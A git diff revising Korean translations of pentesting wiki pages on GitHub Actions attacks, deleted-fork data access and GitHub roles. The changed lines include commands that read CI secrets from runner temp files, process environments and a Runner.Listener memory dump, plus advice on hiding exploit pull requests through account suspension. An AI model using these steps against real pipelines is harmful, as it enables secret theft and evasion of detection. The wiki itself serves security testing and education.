문서에 따르면: 워크플로우 작업의 후속 단계에서 **환경 변수를 사용할 수 있도록** 하려면 환경 변수를 정의하거나 업데이트하고 이를 **`GITHUB_ENV`** 환경 파일에 작성하면 됩니다.
-공격자가 이 **env** 변수 안에 **임의의 값을 주입**할 수 있다면, 그는 **LD_PRELOAD** 또는 **NODE_OPTIONS**와 같은 후속 단계에서 코드를 실행할 수 있는 env 변수를 주입할 수 있습니다.
+공격자가 이 **env** 변수에 **임의의 값을 주입할 수 있다면**, 그는 **LD_PRELOAD** 또는 **NODE_OPTIONS**와 같은 후속 단계에서 코드를 실행할 수 있는 env 변수를 주입할 수 있습니다.
-예를 들어 ([**이**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) 및 [**이**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), 업로드된 아티팩트를 신뢰하여 그 내용을 **`GITHUB_ENV`** env 변수에 저장하는 워크플로우를 상상해 보십시오. 공격자는 이를 손상시키기 위해 다음과 같은 것을 업로드할 수 있습니다:
+예를 들어 ([**이것**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) 및 [**이것**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), 업로드된 아티팩트를 신뢰하여 그 내용을 **`GITHUB_ENV`** env 변수에 저장하는 워크플로우를 상상해 보십시오. 공격자는 이를 손상시키기 위해 다음과 같은 것을 업로드할 수 있습니다:
@@ -298,7 +298,7 @@ gh-actions-context-script-injections.md
[**이 블로그 게시물**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks)에서 언급했듯이, 이 GitHub 액션은 다양한 워크플로우 및 심지어 리포지토리에서 아티팩트에 접근할 수 있게 해줍니다.
-문제는 **`path`** 매개변수가 설정되지 않으면 아티팩트가 현재 디렉토리에 추출되어 나중에 사용되거나 워크플로우에서 실행될 수 있는 파일을 덮어쓸 수 있다는 것입니다. 따라서 아티팩트가 취약하다면, 공격자는 이를 남용하여 아티팩트를 신뢰하는 다른 워크플로우를 손상시킬 수 있습니다.
+문제는 **`path`** 매개변수가 설정되지 않으면 아티팩트가 현재 디렉토리에 추출되어 나중에 워크플로우에서 사용되거나 실행될 수 있는 파일을 덮어쓸 수 있다는 것입니다. 따라서 아티팩트가 취약하다면, 공격자는 이를 남용하여 아티팩트를 신뢰하는 다른 워크플로우를 손상시킬 수 있습니다.
취약한 워크플로우의 예:
```yaml
@@ -344,10 +344,10 @@ path: ./script.py
### 삭제된 네임스페이스 레포 하이재킹
-계정 이름이 변경되면 다른 사용자가 일정 시간이 지난 후 그 이름으로 계정을 등록할 수 있습니다. 만약 레포가 이름 변경 이전에 **100개 미만의 스타**를 가졌다면, Github는 동일한 이름을 가진 새로운 등록 사용자가 **삭제된 것과 동일한 이름의 레포를 생성**하는 것을 허용합니다.
+계정 이름이 변경되면 다른 사용자가 일정 시간이 지난 후 그 이름으로 계정을 등록할 수 있습니다. 만약 레포가 이름 변경 이전에 **100개 미만의 스타**를 가졌다면, Github는 동일한 이름을 가진 새로운 등록 사용자가 **삭제된 것과 동일한 이름의 레포**를 생성하는 것을 허용합니다.
> [!CAUTION]
-> 따라서 만약 액션이 존재하지 않는 계정의 레포를 사용하고 있다면, 공격자가 그 계정을 생성하고 액션을 손상시킬 수 있는 가능성이 여전히 존재합니다.
+> 따라서 만약 어떤 액션이 존재하지 않는 계정의 레포를 사용하고 있다면, 공격자가 그 계정을 생성하고 액션을 손상시킬 수 있는 가능성이 여전히 존재합니다.
다른 레포가 **이 사용자 레포의 의존성**을 사용하고 있다면, 공격자는 그것들을 하이재킹할 수 있습니다. 여기에서 더 완전한 설명을 확인할 수 있습니다: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
@@ -356,11 +356,11 @@ path: ./script.py
## 레포 피벗팅
> [!NOTE]
-> 이 섹션에서는 **하나의 레포에서 다른 레포로 피벗**할 수 있는 기술에 대해 이야기할 것입니다. 첫 번째 레포에 어떤 접근 권한이 있다고 가정합니다(이전 섹션 참조).
+> 이 섹션에서는 첫 번째 레포에 어떤 형태의 접근 권한이 있다고 가정할 때 **한 레포에서 다른 레포로 피벗할 수 있는 기술**에 대해 이야기할 것입니다 (이전 섹션을 확인하세요).
### 캐시 오염
-캐시는 **동일한 브랜치의 워크플로 실행 간에 유지**됩니다. 즉, 공격자가 **패키지**를 **손상시키고** 그것이 캐시에 저장된 후 **더 높은 권한의** 워크플로에 의해 **다운로드**되고 실행된다면, 그 워크플로도 **손상시킬 수 있습니다**.
+캐시는 **동일한 브랜치의 워크플로 실행 간에 유지**됩니다. 즉, 공격자가 **패키지**를 **손상시키고** 그것이 캐시에 저장된 후 **더 높은 권한의** 워크플로에 의해 **다운로드**되고 실행된다면, 그 워크플로도 **손상시킬 수** 있습니다.
{{#ref}}
gh-actions-cache-poisoning.md
@@ -368,7 +368,7 @@ gh-actions-cache-poisoning.md
### 아티팩트 오염
-워크플로는 **다른 워크플로 및 레포의 아티팩트**를 사용할 수 있습니다. 공격자가 **아티팩트를 업로드하는** Github Action을 **손상시키면**, 나중에 다른 워크플로에서 사용되는 아티팩트를 통해 **다른 워크플로를 손상시킬 수 있습니다**:
+워크플로는 **다른 워크플로 및 레포의 아티팩트**를 사용할 수 있습니다. 만약 공격자가 **아티팩트를 업로드하는** Github Action을 **손상시키면**, 나중에 다른 워크플로에서 사용되는 아티팩트를 통해 **다른 워크플로를 손상시킬 수** 있습니다:
{{#ref}}
gh-actions-artifact-poisoning.md
@@ -376,7 +376,7 @@ gh-actions-artifact-poisoning.md
---
-## 액션에서의 포스트 익스플로잇
+## 액션으로부터의 포스트 익스플로잇
### OIDC를 통한 AWS 및 GCP 접근
@@ -421,8 +421,6 @@ secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
-
-
비밀로 리버스 셸 얻기
@@ -448,7 +446,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
-- 비밀이 **표현식에 직접 사용**될 경우, 생성된 셸 스크립트는 **디스크에 저장**되며 접근할 수 있습니다.
+- 비밀이 **표현식에 직접 사용**되면, 생성된 셸 스크립트가 **디스크에 저장**되고 접근할 수 있습니다.
- ```bash
cat /home/runner/work/_temp/*
```
@@ -456,7 +454,7 @@ cat /home/runner/work/_temp/*
- ```bash
ps axe | grep node
```
-- **커스텀 액션**의 경우, 비밀을 어떻게 사용하는지에 따라 위험이 달라질 수 있습니다:
+- **커스텀 액션**의 경우, 비밀을 어떻게 사용하는지에 따라 위험이 달라질 수 있습니다 **인수**에서 얻은 비밀:
```yaml
uses: fakeaction/publish@v3
@@ -475,12 +473,12 @@ key: ${{ secrets.PUBLISH_KEY }}
sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
```
-Check [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
+[**자세한 정보는 이 게시물을 확인하세요**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
### Github Docker 이미지 레지스트리
-Github 내부에 **Docker 이미지를 빌드하고 저장하는 Github actions**를 만들 수 있습니다.\
-다음의 확장 가능한 예제를 찾을 수 있습니다:
+Github 내부에 **Docker 이미지를 빌드하고 저장하는 Github 작업을 만들 수 있습니다**.\
+다음 확장 가능한 예제를 찾을 수 있습니다:
@@ -530,20 +528,20 @@ https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-m
### Github Actions 로그의 민감한 정보
-**Github**가 액션 로그에서 **비밀 값을 감지**하고 **표시하지 않으려**고 하더라도, 액션 실행 중 생성될 수 있는 **다른 민감한 데이터**는 숨겨지지 않습니다. 예를 들어, 비밀 값으로 서명된 JWT는 [특별히 구성되지 않는 한](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret) 숨겨지지 않습니다.
+비록 **Github**가 액션 로그에서 **비밀 값을 감지하고** **표시하지 않으려**고 하더라도, 액션 실행 중 생성될 수 있는 **다른 민감한 데이터**는 숨겨지지 않습니다. 예를 들어, 비밀 값으로 서명된 JWT는 [특별히 구성되지 않는 한](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret) 숨겨지지 않습니다.
## 흔적 지우기
-(기법은 [**여기**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)에서) 우선, 생성된 모든 PR은 Github에서 공개적으로 그리고 대상 GitHub 계정에 명확하게 표시됩니다. GitHub에서는 기본적으로 **인터넷에서 PR을 삭제할 수 없습니다**, 하지만 반전이 있습니다. Github에 의해 **정지된** GitHub 계정의 경우, 모든 **PR이 자동으로 삭제**되고 인터넷에서 제거됩니다. 따라서 활동을 숨기려면 **GitHub 계정을 정지시키거나 계정이 플래그가 지정되도록 해야** 합니다. 이렇게 하면 **인터넷에서 GitHub의 모든 활동이 숨겨집니다** (기본적으로 모든 익스플로잇 PR이 제거됩니다).
+(기법은 [**여기**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)에서) 우선, 생성된 모든 PR은 Github에서 공개적으로 그리고 대상 GitHub 계정에 명확하게 표시됩니다. 기본적으로 GitHub에서는 **인터넷에서 PR을 삭제할 수 없습니다**, 하지만 반전이 있습니다. Github에 의해 **정지된** GitHub 계정의 경우, 모든 **PR이 자동으로 삭제**되고 인터넷에서 제거됩니다. 따라서 활동을 숨기려면 **GitHub 계정을 정지시키거나 계정에 플래그를 지정해야** 합니다. 이렇게 하면 **인터넷에서 GitHub의 모든 활동이 숨겨집니다** (기본적으로 모든 익스플로잇 PR이 제거됩니다).
-GitHub의 조직은 계정을 GitHub에 보고하는 데 매우 적극적입니다. 당신이 해야 할 일은 Issue에 “몇 가지 자료”를 공유하는 것이며, 그들은 당신의 계정이 12시간 이내에 정지되도록 할 것입니다 :p 그리고 그렇게 하면 GitHub에서 당신의 익스플로잇이 보이지 않게 됩니다.
+GitHub의 조직은 계정을 GitHub에 보고하는 데 매우 적극적입니다. 당신이 해야 할 일은 Issue에 "몇 가지 자료"를 공유하는 것이며, 그들은 당신의 계정이 12시간 이내에 정지되도록 할 것입니다 :p 그리고 그렇게 하면 GitHub에서 당신의 익스플로잇이 보이지 않게 됩니다.
> [!WARNING]
> 조직이 자신이 표적이 되었음을 알아내는 유일한 방법은 SIEM에서 GitHub 로그를 확인하는 것입니다. GitHub UI에서는 PR이 제거되기 때문입니다.
## 도구
-다음 도구는 Github Action 워크플로를 찾고 심지어 취약한 것을 찾는 데 유용합니다:
+다음 도구는 GitHub Action 워크플로를 찾고 심지어 취약한 것을 찾는 데 유용합니다:
- [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven)
- [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato)
diff --git a/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md b/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md
index 76e793769..d58f7ca42 100644
--- a/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md
+++ b/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md
@@ -1,10 +1,10 @@
-# Accessible Deleted Data in Github
+# Github에서 접근 가능한 삭제된 데이터
{{#include ../../banners/hacktricks-training.md}}
-이 방법은 삭제된 것으로 보이는 Github의 데이터에 접근하는 방법입니다 [**이 블로그 게시물에서 보고되었습니다**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github).
+삭제된 것으로 보이는 Github의 데이터에 접근하는 방법은 [**이 블로그 게시물에서 보고되었습니다**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github).
-## Accessing Deleted Fork Data
+## 삭제된 포크 데이터 접근하기
1. 공개 저장소를 포크합니다.
2. 포크에 코드를 커밋합니다.
@@ -13,43 +13,43 @@
> [!CAUTION]
> 삭제된 포크에 커밋된 데이터는 여전히 접근 가능합니다.
-## Accessing Deleted Repo Data
+## 삭제된 저장소 데이터 접근하기
1. GitHub에 공개 저장소가 있습니다.
-2. 사용자가 귀하의 저장소를 포크합니다.
-3. 그들이 포크한 후에 데이터를 커밋합니다 (그리고 그들은 결코 포크를 귀하의 업데이트와 동기화하지 않습니다).
+2. 사용자가 당신의 저장소를 포크합니다.
+3. 그들이 포크한 후에 데이터를 커밋합니다(그리고 그들은 결코 자신의 포크를 당신의 업데이트와 동기화하지 않습니다).
4. 전체 저장소를 삭제합니다.
> [!CAUTION]
> 저장소를 삭제하더라도, 그에 대한 모든 변경 사항은 포크를 통해 여전히 접근 가능합니다.
-## Accessing Private Repo Data
+## 비공개 저장소 데이터 접근하기
-1. 결국 공개될 개인 저장소를 생성합니다.
-2. 해당 저장소의 개인 내부 버전을 생성하고 (포크를 통해) 공개하지 않을 기능에 대한 추가 코드를 커밋합니다.
-3. "업스트림" 저장소를 공개하고 포크를 개인으로 유지합니다.
+1. 결국 공개될 비공식 저장소를 생성합니다.
+2. 그 저장소의 비공식 내부 버전을 생성하고(포킹을 통해) 공개하지 않을 기능을 위한 추가 코드를 커밋합니다.
+3. "업스트림" 저장소를 공개하고 포크는 비공개로 유지합니다.
> [!CAUTION]
> 내부 포크가 생성된 시점과 공개 버전이 공개된 시점 사이에 푸시된 모든 데이터에 접근할 수 있습니다.
-## How to discover commits from deleted/hidden forks
+## 삭제된/숨겨진 포크에서 커밋 발견하는 방법
같은 블로그 게시물은 2가지 옵션을 제안합니다:
-### Directly accessing the commit
+### 커밋에 직접 접근하기
-커밋 ID (sha-1) 값이 알려져 있다면 `https://github.com///commit/`에서 접근할 수 있습니다.
+커밋 ID(sha-1) 값이 알려져 있다면 `https://github.com///commit/`에서 접근할 수 있습니다.
-### Brute-forcing short SHA-1 values
+### 짧은 SHA-1 값 무차별 대입하기
두 가지 모두 접근하는 방법은 동일합니다:
- [https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14](https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14)
- [https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463](https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463)
-그리고 마지막 링크는 브루트포스 가능한 짧은 sha-1을 사용합니다.
+마지막 방법은 무차별 대입이 가능한 짧은 sha-1을 사용합니다.
-## References
+## 참고문헌
- [https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github)
diff --git a/src/pentesting-ci-cd/github-security/basic-github-information.md b/src/pentesting-ci-cd/github-security/basic-github-information.md
index 266dccd03..71977fbf1 100644
--- a/src/pentesting-ci-cd/github-security/basic-github-information.md
+++ b/src/pentesting-ci-cd/github-security/basic-github-information.md
@@ -1,41 +1,41 @@
-# Basic Github Information
+# 기본 Github 정보
{{#include ../../banners/hacktricks-training.md}}
-## Basic Structure
+## 기본 구조
-대규모 **회사**의 기본 github 환경 구조는 **여러 조직**을 소유하는 **기업**을 소유하는 것입니다. 각 조직은 **여러 리포지토리**와 **여러 팀**을 포함할 수 있습니다. 소규모 회사는 **하나의 조직과 기업이 없는 경우**도 있습니다.
+대규모 **회사**의 기본 github 환경 구조는 **여러 조직**을 소유하는 **엔터프라이즈**를 소유하는 것입니다. 각 조직은 **여러 리포지토리**와 **여러 팀**을 포함할 수 있습니다. 소규모 회사는 **하나의 조직만 소유하고 엔터프라이즈는 소유하지 않을 수 있습니다**.
-사용자 관점에서 **사용자**는 **다양한 기업 및 조직의 구성원**이 될 수 있습니다. 그들 안에서 사용자는 **다양한 기업, 조직 및 리포지토리 역할**을 가질 수 있습니다.
+사용자 관점에서 **사용자**는 **다양한 엔터프라이즈 및 조직의 구성원**이 될 수 있습니다. 그들 안에서 사용자는 **다양한 엔터프라이즈, 조직 및 리포지토리 역할**을 가질 수 있습니다.
-또한 사용자는 **다양한 팀의 일원**이 될 수 있으며, 각 팀에서 다른 기업, 조직 또는 리포지토리 역할을 가질 수 있습니다.
+또한 사용자는 **다양한 팀의 일원**이 될 수 있으며, 각 팀에서 다른 엔터프라이즈, 조직 또는 리포지토리 역할을 가질 수 있습니다.
마지막으로 **리포지토리는 특별한 보호 메커니즘을 가질 수 있습니다**.
-## Privileges
+## 권한
-### Enterprise Roles
+### 엔터프라이즈 역할
-- **Enterprise owner**: 이 역할을 가진 사람들은 **관리자를 관리하고, 기업 내 조직을 관리하며, 기업 설정을 관리하고, 조직 전반에 정책을 시행**할 수 있습니다. 그러나 그들은 **조직 소유자**로 지정되거나 조직 소유 리포지토리에 직접 접근 권한이 부여되지 않는 한 조직 설정이나 콘텐츠에 접근할 수 없습니다.
-- **Enterprise members**: 귀하의 기업이 소유한 조직의 구성원은 **자동으로 기업의 구성원**이 됩니다.
+- **엔터프라이즈 소유자**: 이 역할을 가진 사람들은 **관리자를 관리하고, 엔터프라이즈 내의 조직을 관리하며, 엔터프라이즈 설정을 관리하고, 조직 전반에 정책을 시행**할 수 있습니다. 그러나 그들은 **조직 설정이나 콘텐츠에 접근할 수 없습니다**. 조직 소유자로 지정되거나 조직 소유 리포지토리에 직접 접근 권한이 부여되지 않는 한 접근할 수 없습니다.
+- **엔터프라이즈 구성원**: 귀하의 엔터프라이즈가 소유한 조직의 구성원은 **자동으로 엔터프라이즈의 구성원이 됩니다**.
-### Organization Roles
+### 조직 역할
조직 내에서 사용자는 다양한 역할을 가질 수 있습니다:
-- **Organization owners**: 조직 소유자는 **조직에 대한 완전한 관리 접근 권한**을 가집니다. 이 역할은 제한되어야 하며, 조직 내에서 두 명 이상이어야 합니다.
-- **Organization members**: **조직 내 사람들**의 기본 비관리자 역할은 조직 구성원입니다. 기본적으로 조직 구성원은 **일정 수의 권한**을 가집니다.
-- **Billing managers**: 청구 관리자는 **조직의 청구 설정을 관리**할 수 있는 사용자입니다. 예를 들어, 결제 정보와 같은 것입니다.
-- **Security Managers**: 조직 소유자가 조직 내의 모든 팀에 부여할 수 있는 역할입니다. 적용되면 팀의 모든 구성원에게 **조직 전반에 걸쳐 보안 경고 및 설정을 관리할 수 있는 권한과 모든 리포지토리에 대한 읽기 권한**이 부여됩니다.
+- **조직 소유자**: 조직 소유자는 **조직에 대한 완전한 관리 접근 권한**을 가집니다. 이 역할은 제한되어야 하며, 조직 내에서 두 명 이상이어야 합니다.
+- **조직 구성원**: **조직 내 사람들**의 기본 비관리 역할은 조직 구성원입니다. 기본적으로 조직 구성원은 **일정한 권한을 가집니다**.
+- **청구 관리자**: 청구 관리자는 **조직의 청구 설정을 관리**할 수 있는 사용자입니다. 예를 들어, 결제 정보와 같은 설정을 관리합니다.
+- **보안 관리자**: 조직 소유자가 조직 내의 모든 팀에 부여할 수 있는 역할입니다. 적용되면 팀의 모든 구성원에게 **조직 전반의 보안 경고 및 설정을 관리할 수 있는 권한과 모든 리포지토리에 대한 읽기 권한**이 부여됩니다.
- 조직에 보안 팀이 있는 경우, 보안 관리자 역할을 사용하여 팀 구성원에게 조직에 필요한 최소한의 접근 권한을 부여할 수 있습니다.
-- **Github App managers**: 조직이 소유한 GitHub Apps를 **관리할 수 있는 추가 사용자**에게 GitHub App 관리자 권한을 부여할 수 있습니다.
-- **Outside collaborators**: 외부 협력자는 **하나 이상의 조직 리포지토리에 접근할 수 있지만 조직의 명시적인 구성원은 아닌 사람**입니다.
+- **Github 앱 관리자**: 조직이 소유한 **GitHub 앱을 관리**할 수 있도록 추가 사용자에게 GitHub 앱 관리자 권한을 부여할 수 있습니다.
+- **외부 협력자**: 외부 협력자는 **하나 이상의 조직 리포지토리에 접근할 수 있지만 조직의 명시적인 구성원은 아닌 사람**입니다.
-이 역할의 **권한을 비교**할 수 있는 표는 다음과 같습니다: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
+이 역할의 권한을 비교할 수 있는 표는 다음에서 확인할 수 있습니다: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
-### Members Privileges
+### 구성원 권한
-_https://github.com/organizations/\/settings/member_privileges_에서 **조직의 일원으로서 사용자가 가질 권한**을 확인할 수 있습니다.
+_https://github.com/organizations/\/settings/member_privileges_에서 **조직의 구성원으로서 사용자가 가지는 권한**을 확인할 수 있습니다.
여기에서 구성된 설정은 조직 구성원의 다음 권한을 나타냅니다:
@@ -47,110 +47,110 @@ _https://github.com/organizations/\/settings/member_privileges_에서
- 관리자가 리포지토리에 대해 가지는 권한.
- 구성원이 새로운 팀을 생성할 수 있는지 여부.
-### Repository Roles
+### 리포지토리 역할
기본적으로 리포지토리 역할이 생성됩니다:
-- **Read**: **코드 기여자가 아닌** 사람들이 프로젝트를 보고 논의하고자 할 때 추천됩니다.
-- **Triage**: **문제 및 풀 리퀘스트를 능동적으로 관리해야 하는 기여자**에게 추천됩니다. 쓰기 접근 권한은 없습니다.
-- **Write**: **프로젝트에 적극적으로 푸시하는 기여자**에게 추천됩니다.
-- **Maintain**: **리포지토리를 관리해야 하는 프로젝트 관리자**에게 추천됩니다. 민감하거나 파괴적인 작업에 대한 접근 권한은 없습니다.
-- **Admin**: **프로젝트에 대한 완전한 접근 권한**이 필요한 사람에게 추천됩니다. 여기에는 보안 관리 또는 리포지토리 삭제와 같은 민감하고 파괴적인 작업이 포함됩니다.
+- **읽기**: **코드 기여자가 아닌** 사람들이 프로젝트를 보고 논의하기 위해 추천됩니다.
+- **분류**: **문제 및 풀 리퀘스트를 능동적으로 관리해야 하는 기여자**에게 추천됩니다. 쓰기 접근 권한은 없습니다.
+- **쓰기**: **프로젝트에 적극적으로 푸시하는 기여자**에게 추천됩니다.
+- **유지 관리**: **리포지토리를 관리해야 하는 프로젝트 관리자**에게 추천됩니다. 민감하거나 파괴적인 작업에 대한 접근 권한은 없습니다.
+- **관리자**: **프로젝트에 대한 완전한 접근 권한**이 필요한 사람에게 추천됩니다. 여기에는 보안 관리 또는 리포지토리 삭제와 같은 민감하고 파괴적인 작업이 포함됩니다.
-각 역할의 **권한을 비교**할 수 있는 표는 다음과 같습니다: [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
+각 역할의 권한을 비교할 수 있는 표는 다음에서 확인할 수 있습니다: [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
또한 _https://github.com/organizations/\/settings/roles_에서 **자신만의 역할을 생성**할 수 있습니다.
-### Teams
+### 팀
-조직 내에서 **생성된 팀을 나열**할 수 있습니다: _https://github.com/orgs/\/teams_. 다른 팀의 자식 팀을 보려면 각 상위 팀에 접근해야 합니다.
+_https://github.com/orgs/\/teams_에서 **조직 내에서 생성된 팀을 나열**할 수 있습니다. 다른 팀의 자식 팀을 보려면 각 부모 팀에 접근해야 합니다.
-### Users
+### 사용자
-조직의 사용자는 _https://github.com/orgs/\/people_에서 **나열**될 수 있습니다.
+조직의 사용자는 _https://github.com/orgs/\/people_에서 **나열**할 수 있습니다.
각 사용자의 정보에서 **사용자가 속한 팀**과 **사용자가 접근할 수 있는 리포지토리**를 확인할 수 있습니다.
-## Github Authentication
+## Github 인증
Github는 계정에 인증하고 귀하를 대신하여 작업을 수행하는 다양한 방법을 제공합니다.
-### Web Access
+### 웹 접근
**github.com**에 접근하여 **사용자 이름과 비밀번호**(및 **2FA**를 사용할 수 있음)를 사용하여 로그인할 수 있습니다.
-### **SSH Keys**
+### **SSH 키**
하나 이상의 공개 키로 계정을 구성하여 관련 **개인 키가 귀하를 대신하여 작업을 수행할 수 있도록** 할 수 있습니다. [https://github.com/settings/keys](https://github.com/settings/keys)
-#### **GPG Keys**
+#### **GPG 키**
-이 키로 사용자를 가장할 수는 없지만 사용하지 않으면 **서명 없는 커밋을 보내는 것으로 인해 발견될 수 있습니다**. [경계 모드에 대한 자세한 내용](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode)을 확인하세요.
+이 키로 사용자를 가장할 수는 없지만 사용하지 않으면 **서명 없는 커밋을 보내는 것으로 인해 발견될 수 있습니다**. [여기에서 경계 모드에 대해 더 알아보세요](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
-### **Personal Access Tokens**
+### **개인 접근 토큰**
응용 프로그램이 귀하의 계정에 접근할 수 있도록 **개인 접근 토큰을 생성**할 수 있습니다. 개인 접근 토큰을 생성할 때 **사용자**는 **토큰**이 가질 **권한**을 **지정**해야 합니다. [https://github.com/settings/tokens](https://github.com/settings/tokens)
-### Oauth Applications
+### Oauth 애플리케이션
-Oauth 응용 프로그램은 귀하의 **github 정보의 일부에 접근하거나 귀하를 가장하여** 특정 작업을 수행할 수 있는 권한을 요청할 수 있습니다. 이 기능의 일반적인 예는 일부 플랫폼에서 찾을 수 있는 **github로 로그인 버튼**입니다.
+Oauth 애플리케이션은 귀하의 **github 정보의 일부에 접근하거나 귀하를 가장하여** 일부 작업을 수행할 수 있는 권한을 요청할 수 있습니다. 이 기능의 일반적인 예는 일부 플랫폼에서 찾을 수 있는 **github로 로그인 버튼**입니다.
-- **Oauth 응용 프로그램**을 [https://github.com/settings/developers](https://github.com/settings/developers)에서 생성할 수 있습니다.
-- 귀하의 계정에 접근할 수 있는 모든 **Oauth 응용 프로그램**을 [https://github.com/settings/applications](https://github.com/settings/applications)에서 확인할 수 있습니다.
-- **Oauth Apps가 요청할 수 있는 범위**는 [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)에서 확인할 수 있습니다.
-- **조직**의 응용 프로그램에 대한 제3자 접근은 _https://github.com/organizations/\/settings/oauth_application_policy_에서 확인할 수 있습니다.
+- [https://github.com/settings/developers](https://github.com/settings/developers)에서 **자신의 Oauth 애플리케이션을 생성**할 수 있습니다.
+- [https://github.com/settings/applications](https://github.com/settings/applications)에서 **귀하의 계정에 접근할 수 있는 모든 Oauth 애플리케이션**을 확인할 수 있습니다.
+- [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)에서 **Oauth Apps가 요청할 수 있는 범위**를 확인할 수 있습니다.
+- _https://github.com/organizations/\/settings/oauth_application_policy_에서 **조직의 애플리케이션에 대한 제3자 접근**을 확인할 수 있습니다.
-몇 가지 **보안 권장 사항**:
+일부 **보안 권장 사항**:
-- **OAuth App**은 항상 **모든 GitHub에서 인증된 GitHub 사용자로서 행동**해야 하며, 지정된 범위에만 접근해야 합니다.
-- OAuth App은 인증된 사용자를 위해 "GitHub로 로그인"을 활성화하여 신원 공급자로 사용할 수 있습니다.
-- **단일 리포지토리**에서 작동하도록 애플리케이션을 만들지 마십시오. `repo` OAuth 범위를 사용하면 OAuth Apps는 **인증된 사용자의 모든 리포지토리에서 작동**할 수 있습니다.
-- **팀이나 회사**를 위한 애플리케이션으로 작동하도록 OAuth App을 만들지 마십시오. OAuth Apps는 **단일 사용자**로 인증되므로, 한 사람이 회사를 위해 OAuth App을 만들고 회사를 떠나면 다른 누구도 접근할 수 없습니다.
-- **자세한 내용은 여기**에서 확인하세요: [https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
+- **OAuth 앱**은 항상 **모든 GitHub에서 인증된 GitHub 사용자로서 행동해야 합니다**(예: 사용자 알림 제공 시) 및 지정된 범위에만 접근해야 합니다.
+- OAuth 앱은 인증된 사용자를 위해 "GitHub로 로그인"을 활성화하여 신원 공급자로 사용할 수 있습니다.
+- **단일 리포지토리**에서 작동하도록 애플리케이션을 구축하지 마십시오. `repo` OAuth 범위를 사용하면 OAuth 앱이 **인증된 사용자의 모든 리포지토리에서 작동할 수 있습니다**.
+- **팀이나 회사**의 애플리케이션으로 작동하도록 OAuth 앱을 구축하지 마십시오. OAuth 앱은 **단일 사용자**로 인증되므로, 한 사람이 회사를 위해 OAuth 앱을 생성하고 회사를 떠나면 다른 누구도 접근할 수 없습니다.
+- **자세한 내용은 여기에서 확인하세요** [여기](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
-### Github Applications
+### Github 애플리케이션
-Github 응용 프로그램은 귀하의 **github 정보에 접근하거나 귀하를 가장하여** 특정 리소스에 대해 특정 작업을 수행할 수 있는 권한을 요청할 수 있습니다. Github Apps에서는 앱이 접근할 리포지토리를 지정해야 합니다.
+Github 애플리케이션은 귀하의 **github 정보에 접근하거나 귀하를 가장하여** 특정 리소스에 대해 특정 작업을 수행할 수 있는 권한을 요청할 수 있습니다. Github 앱에서는 앱이 접근할 리포지토리를 지정해야 합니다.
-- GitHub App을 설치하려면 **조직 소유자이거나 리포지토리에서 관리자 권한**이 있어야 합니다.
